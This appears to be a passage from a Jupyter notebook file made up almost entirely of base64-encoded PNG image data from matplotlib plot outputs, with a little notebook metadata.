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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1a43c104668>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAXoAAADfCAYAAAD4Bhh5AAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzsvUmsJUuaoPX9Zu5nvGNMb6ysyswqukTTAgmpS+yQEFI3\nQuoViGYDCFEs6D29Q4INW1ZItSgBGxp2sCiJRUuIFagkoBt115DTe/niDRFx445ndHezn4W5uZv7\ncb/3xuvM6qhS/FLEPcePudlv0z/bb6KqfIAP8AE+wAf4qwvmnzcCH+ADfIAP8AF+vfCB0H+AD/AB\nPsBfcfhA6D/AB/gAH+CvOHwg9B/gA3yAD/BXHD4Q+g/wAT7AB/grDh8I/Qf4AB/gA/wVh18LoReR\nvyUifyYiPxWRv//raOMDfIAP8AE+wONAftVx9CJigT8H/k3gJfDHwN9V1X/6K23oA3yAD/ABPsCj\n4Nch0f9N4Keq+nNVLYB/APydX0M7H+ADfIAP8AEeAdmvoc7PgK+S7y+B37vvhfnySI/OnqEYIGoY\nknz+iwBpP6qCSPv30fAu+Kb16iOe/wVAv7mDro+NhXbff5ch+2cCTT7JSNP1OlLauVQ9LKiDLz+m\n6cHmRpAZruNd3hl7/7Hl+8vrgSn9ZwIZWNc60rAQ5uXg4XsCop0xiZhp800Pf0u6GciJICIEK0q3\nr01PRdohasZJURFEuwsmw/Hq25cXqvr8IfR/HYR+aHYOlo2I/D7w+wDL06f87f/0v0LEIFrWL9gw\nOJ0BlHeaej+yWs2AIiNSP1PFq8eKCZ9HG+xOdXjV13U9Bsu2TGo+G3/3cTtPAD9Y3/31qmqDRx+H\n9vuYAhj6bYxBvceroiPNpTMYeel9EOffIA1+KnV70uLjkIau9LBv2ox12WZ7Sru+FLwczsUYfmbk\nBzXSjKWIDM7nfebStHxaro9XSzAGaxl5rqP1j0EsY3R8bYpIS+sSmuekqitJ5txL970avHFtm77u\n48jme6gPY/upO2YmmaOwDk1NUONn0QpLhXNbRCuK3Ybb2xXeK+dPP8bmOSbLURRRx831W/abDc+e\nPGGaT7m5W7HebkEMp2dPMPkCm00IhFtRv6UsSsr9nulkSTadAoKxE7x3VOowJgOb4T1YrRCFymQ4\n75lS8of/5X/y5eAg9eDXQehfAr+RfP8c+KZfSFX/APgDgGef/UhFJJARERSDiEU1LJS4UUV6QkIC\nQ5P/LmwhEunmOxwQq7Q+L10mf19LZgC3jqyT/J4Sr85GfyyhF6mFI30UwzlkV6C4ui7TFBIRnHeD\nY9rU4VtG12fQXRxDGe8fLzamJU0jHY63cd/zdqa7IlpDq+IYcg/jjeObDGDKKB9FRJOqY5/G9NgD\n5hse1qiMaYQPgxnpX6xR63V+b63NdCjqE2FBQgWd9W2T9T02/3WDxthh3B4Y2z5xHwZfD1/LnQQF\nNaFtrRC/ZXP9htff/YRpnrHfrVEv5PmE16u3TCZTnjx9wXw5582rr9lubyn3BZfbN9gso6pAbI5z\n8N3NJcuzZyyOn7A4WlKWO9zumjfffotVz24y5ejkKUcnZzgfCLpVDxbEZKgxiM8w4rGAA4p3IN+/\nDkL/x8DviMgPga+Bfw/49+9/RcnUgQheDEHmFhxhoxoTJsv78RXnH7GxIgwTK48geBRjBK8e+hJn\nj8uodNGJsqMYMyqqNgtvVORNiVcrbY8pSn3C4BNi0y87ho+qhg1fS4pO29+at1WHxy1BoO3bocTc\nR6cliuNSvTSEopWug7TVVNLWl9SvyfuSaAKC1ES81jqSsTIitQYYRv0hBq4maH6RwIsIYqTBzUQi\nolqv6bRfEmlg+J4IDJ12x4iwKr6esy4zknrMfadsO0a+0yMVRbGDZVtkwx8vYB8QHMRIykWBQDRH\n9Q4T10vvuQhol1mKkQ4zfQju1T4AVwszNhL5uI61wuKhXLG+veTq9VdYv2e/XpEJLBZLbm9umcw8\n6nbcvNljqnO2V69w1YbZZMYEqLaO6WxO5RzL5QmOOYuzM7yxgLJe3bK+fMnEeKrNHeIn3G5u2N8s\nefbZD/nqq19SlBUf/+BHTIxB7RQngBcMjmlnlh+GXzmhV9VKRP4e8L8BFvhDVf0nD71nxASyJQaD\nx/gqMaeEP/cts6F5HVy3YyJT/D35cJ9kFhdMlJ6hXbiKIuYBqe4RWndn8zdjkGgVaMOMIjN8V3Be\nG0IaGmhV5n7/h8Y4lWojk1GCpHif6WOsvuFykvxViJJgKinWv/uGsRwSkeaZCWaeRomTmuh2yoZx\nHdOkUtSNefeYhnROexaPR0FgLAZ80+O6rnvMQgNGrX6dfRxjrY8zR7ZrRh7aaF1EEki0yEHBYhzn\nof0m/X0RGXPdjEcxcR58/cRt+fbLn4Hf8fGLp3zz1Q1WLLNZzmw2Y3W3YTqdMJ3MuL5bsd/vmUym\nVFpQ7rZMM0NV7qic525TkmczlmdPsDbDTqY4dSyOjpiY5+xXN0i5hmqHSI5RT7m5otheI5Kxun7D\n3BumJ+d4MTgjWLUg7mG7ZwK/DokeVf0j4I8eXR7Biw0SPZCpYrWkJH+cdMzIJI8RJn1Ava4lrmC/\nu18S1uR781sP50HcaInXY6SUaNL5VYfDGtOq1tG2bEQ6jCVsDOGxlpb+uA/1MX2Wlu93b6iu+DAl\nBEOo+Y68mrYbfQrDGkrEocMAe6CJCuEZ1nYidMwjaQNpZztE+37o4xTqN4lZUAfLPtb8F+tsNA6C\n76Vrb0w+D0nko6pQ0oYxyboYYJb9Oh7gNc069q0m3JmXRCNQ9LA6azHe8fLLn2H8jtnEkuUW54WT\nsyO8c2R2wtHyFMkmZNMZp3ZGUTmOTs65va6otltcWWGMUFYl+WTCdDZjMpsheUaJYK1FyMhPzij3\nG6qqIsNztJiTTXKK7R3LiWFb7LHiKHZ3LI6PgQwnGa7Wbqp/3oT+XSGosWHzZQqigpNJmHofHHtR\nen2sZAGp1C2gvp54ar06qmthsDxxY5vACGqds2MzTzdQU0aJ4kH8vbFV17/bgUXsW/tDl5glvoJG\nIRcQ7xAxeNGO1Oq93ivNi3JoH+lt/gPmISYxuUhTPGV6zYbp+QKiKcHU9o+olTWbcIAICS1h8B07\nfw+tyKQT6bUxl9UMwGi9VlSDqUF80t1hUtd3Qofh0jB2vf7FIXDSSvLpGPhaiBCt14jIoUN/YA1r\nWGzYEX1cUayGdeptbMsH04OCUrWEy0gdMNY6qBE5IG2qiu2ZECMDTnGOZsyxVebEd95t6hpY903Z\ngEC7xklNbjLqi3sMRCm+T+RbuzxkGkUAE55rifF71teXPFlOUa94dXz79bc4D/P5EdevX3Ox2oNk\nTO0Mk82YziaIMWxur5jNTri7uQl7QOHp2Tl7P6EqPUaEN6/ecPr8Y8BgbY54xeuEiine7bm8uePo\nKAhU3mQ8OT9HzJTZySlKVpsYXYN1/g5K/HtB6KEneUjr5Xf19Jt6pT1kSuk8I3EEicVEkVS7pQCw\nJqjz90VEpD81a/ie0a4F43ptj5rlHwOtGVZa4lNrHI3E2HRPG6LY4RaDKA4QHVWkjqBJd+BDTLZj\nwojE8sAk8qBY1mpTPZxivb3ideOt5pHO02D/EoQ60TFREowCRTKsDXNJpNy0T61W5OuxT5nH8Jo6\ncPYPScYNzoe1jBHDdg33iHi//odE5D7E8dABaRgOmP5gFb25CaPTMuzo/H0sfo/WUiRI+p0IMnUo\nDmMUKxV+dcPq4htyPF73iAhPTs6YTCdcv70MkS7ZhM2u5MnxGcbkVGqYmAmnZ8+pii3Z1SVZPsWI\nx3ml3O+YThesbi7wlWF9e8Py6AQseLGcnD7n7etXHC/nbNdbTp4+xztL4Rz5ZA5mSj49wTWabC2Y\niRmNKhyC94bQRzNIJFqNhF2bDqKa9y4SfQqmlmxHQxn94ZIZslmOrb3UpBAl+gbfRsLoSo+BkPZD\n8IYjDVCHmkBAjDGNM87WxDWViqPKKr1Qv6aq6NU8aDttLxD7tMudsesMVghL69tg4vtNBV6jyHtg\nUmgU+NhmUr/Wmlfsh5pWS1Bagqnet7brATxbp2wyHg0edR8iutJ9JxKjtt6+tCo1/smTRkMY25CC\nc62U2RFMenUgoE6bctAzCSVcwzTHUVptcwzGbd4D+6Tuh2itWWkiVAzWHbBN17z4zo+NfyHpZjL2\nrRPlvqiq1PQY6kwEujS4QWz6Ikgd6+QLri9fs7n4kmcnQSp3rkCwWCOcLI/58tVrjpczTJZxcrrg\n6vqKJ8+f8dWXXzFfLlnOc+bTGadn57x9/Q2L+QTDDudhv81YXztmx0/JcRgcOGG9WzOfT/n08x9y\nd3nB0xfn/OwX3/D06VOeffwp28IxnR0FYdcELdso+L6G/gh4bwi9GNMhKCI97u4DcdJ3cjrGhWJa\nVVSkeZ4uUlsX6KvZHalraEFLq6I3C0ySSJZenbGXWpeL0uBQDPuwcylsXGsObZDRqcRj7PkiPRvp\neD/jPHRYYdqnKH1rW35wrIxgGGhT2pDQqEKoah0RUc9WQ0HrWB4ZkHCNGdVcus09Yg09JFX2iHej\nVEXi3tMshsBEaaa2uZpm+Qz7bQyhbLOeEgae+hU0qSd0JJoWB2CAEUbNqFNMtRNRk/bNjI1R3YBI\n9Fl1hYEOgx9Qd7Xz6fH73iSm1P6a7ZydiLWrpyr2AFzd3pEZIZMJVeW4uLjg+OwJxyfHTDLL3e2G\nycwis5ztdsvnn33K7c0Vm7tbZhaWiwX7oyNcVeB8hRfY7m6BOZkoN1dvqKo9Z0+fUm1XTJdTSiO8\nePExby8uOD05xdicSgUvOd5k9ZC1E2yikPboEXmPCD20C7xvu439TKVmeICQkRImh2AP6k8PCcXF\nYWkJ8/31H0o+aT9CG5GoJ0u2tiPHSLRuRMlAK/VzYy2eGPqnjUQV+2T08L2HD0C9W99kJLqkDQP1\nQG0CGzBZCIKvpe7BeqQ9GR2lv9ZU0jLIvkkD6uiJh8wGzViPzG3UvEamPeAUfhw7SNc58xFxTM1D\naXO1NOo5NEEc2ruT8ayFihAceYjI4fjW89Jn4L0xSE1vB7xY2/DKThACMmqSNGgiKUXOnAg6NiFW\njbZC87uIgnZ9PEPQ78fhuNWfxTTjqhoMHx7F2ozF0THLRU612SJVyZuLV+RZxvNnL3jz5g2ZNbjK\nUzjHcrYgny/J8xx1HnXK0WzB6uaO4+NTTk+fcH11ic1ydrsdRVUwWSyYTnMkE1Y3lygFq8sblrll\nMZvx9uICYyxnz87Yl5BlM+xsjtiMSlv/SxzvNGDiMfB+EPqHCKsEKUYALx7RsElMLfmF04jSKR/W\nlEk2bdgYMR43FJNWUxDXeT/+GXIohdparUClJmzpok7LJv3yIk38vR2QqCO+Xtp+pFtgyJnZj28O\n8dHalbo7OCUOsY4KXT83oA23E4wEmbC6Z2WZZhPXjrzUqZyYA4aYRZ8dRDOKt+2T9NdWc2nf1WTh\nS/KOGYg29oT46T7Tb4QJesSiEdfprI3Y74ahKvjEmxqHMEpkkcHEEXDJgSCRSDB9ohm2HRHnmxBQ\nrVJtsQ4ysO08WqQ95Rv7I9owqbZNart1jU/zA4OCQ2OuquUt14y+idNGa5sBj28CH5KHbZ09XIwx\nrTMe0GR8Ous+4bL9g459aKZOD8uKKMYH8UnskjybIrLAFRsku8EYsEaY5BnFdosT5Xh5wmy5hHxC\nVVW8/OLn4Ep+8NlnuHJPsd1QVQVV6Xn24jlf3H7JJJ9wfHLE2ckpN3dr9jhyt8XqlvXdd1xflly+\nveHo5IzpYsJkdoy1U8inFL4K/rLeOGhfw34A3g9CD8Rp75l5O4tBO5+1Jvz1fuhJedJ7IbXbpUSv\niX2vJc3xlAfDYDpOke6iblGqVclUKONhjUQGOi+N/Fw/1nCONZXs3k2pi9qTEkmQd/XiFxP+4XG1\nVjQMgbgH+2HE/R0HsgYjtRl/AMv+aKXfh9MfHI6xlzoFRpiAXvRQUl9P67tvbaR29IfELEkY0hCe\naQRVNM2lJsbUJBi0BBMIaq+PB+3q8JykJvy0bUlCFBtcer6muObcoHwTwjH76/z7rosOzh2tPnne\n507AqLoR6zEGVJgvjxAgq0pcNuXTTy3l7gabG06O51wXa6bTOdtSUe/Js5yTszM2d9esby7wbkeW\nKUV5R57nZEbZ77ccLZcgwvOnz7i9u+T68hoxyvXVHfPpBKOO7eqWaQau3HF18ZrzZ1MWJ1C5Kghd\njT7Xrod3hfeC0NfCK9CbuMFn0R4cJce2jghDw9CE4Y0RwZprxgFtHo/gnG6tyDiM9A4I1Z8TXaHj\neGtOsXYRbf4MEbY+8W/DFpN6BruoDTHUNGIkVQrjRvHRCWtA6vOiQcwfqripwz8iJm4INSMt9lFb\nG9ueMlbJI6BRUuoZjtFdEMcxOTkaiWmt4ms9+C1LN02d6RpJQz8fAuk4Cg/rGOpn9Ks0junm/QEi\nLtLD4nA1h/B9h0MHbe1pEETKQLrRMwOLHkmGMmEg95lee/6qh6G/Hod3/hgIJliG1ON8OBlvsgkT\nFOc2rG+3bO6umedQFhsqX7Hdw8nTj5jPpqhWWFNxdJSB3iG6p/Il6gJZ3W5gt9ly9vQZt3e3gKMq\nb1GUzE7wpSOzU7TcgoLNM1wFu2INpnvoMlgXIrN/5PAk8F4Q+rjpROsDPPXzNK2BJmu/zb+R2j1T\nq2H3yX3OojGm0P4+PKpxk0riXPQMh51Fa1GHRqcxxBKI/r30SwaWbByTVllp6hvaLEN5S1JJsZGK\ng958SEgeWmCSxm2PqNQJzo3pRFvspY6ECHZ+7bzUzGsauVQ/NH21vEPAI0HuEhylf4YhmDo6UlMt\nWHih87xL3A4J2ZAU258X0yeR0ieg0vwVE5mQIhLXSojaqoOxOu9AiH/vMoABM5bXpm8dMK0Dd8jx\nrUYSJpnW245fc+J0YB/H8WjASuNnGfMttXXU2o92DzQOl48mut5TqedUBMRiMBgtyMTx5vWXXL/6\nBeJ3aLliL+EMgqvg/Ow5UwtXb37JbDZFdIX6G4p9Cd7jnafyApphjHByesSrV9+wL3YslzMmmQAZ\n3iuZzajKPWWxYTY/Is8yXFFxfXnB809+gOYZagOitQLajLAxgn+HHAjvBaHvQGJXbEMttSXw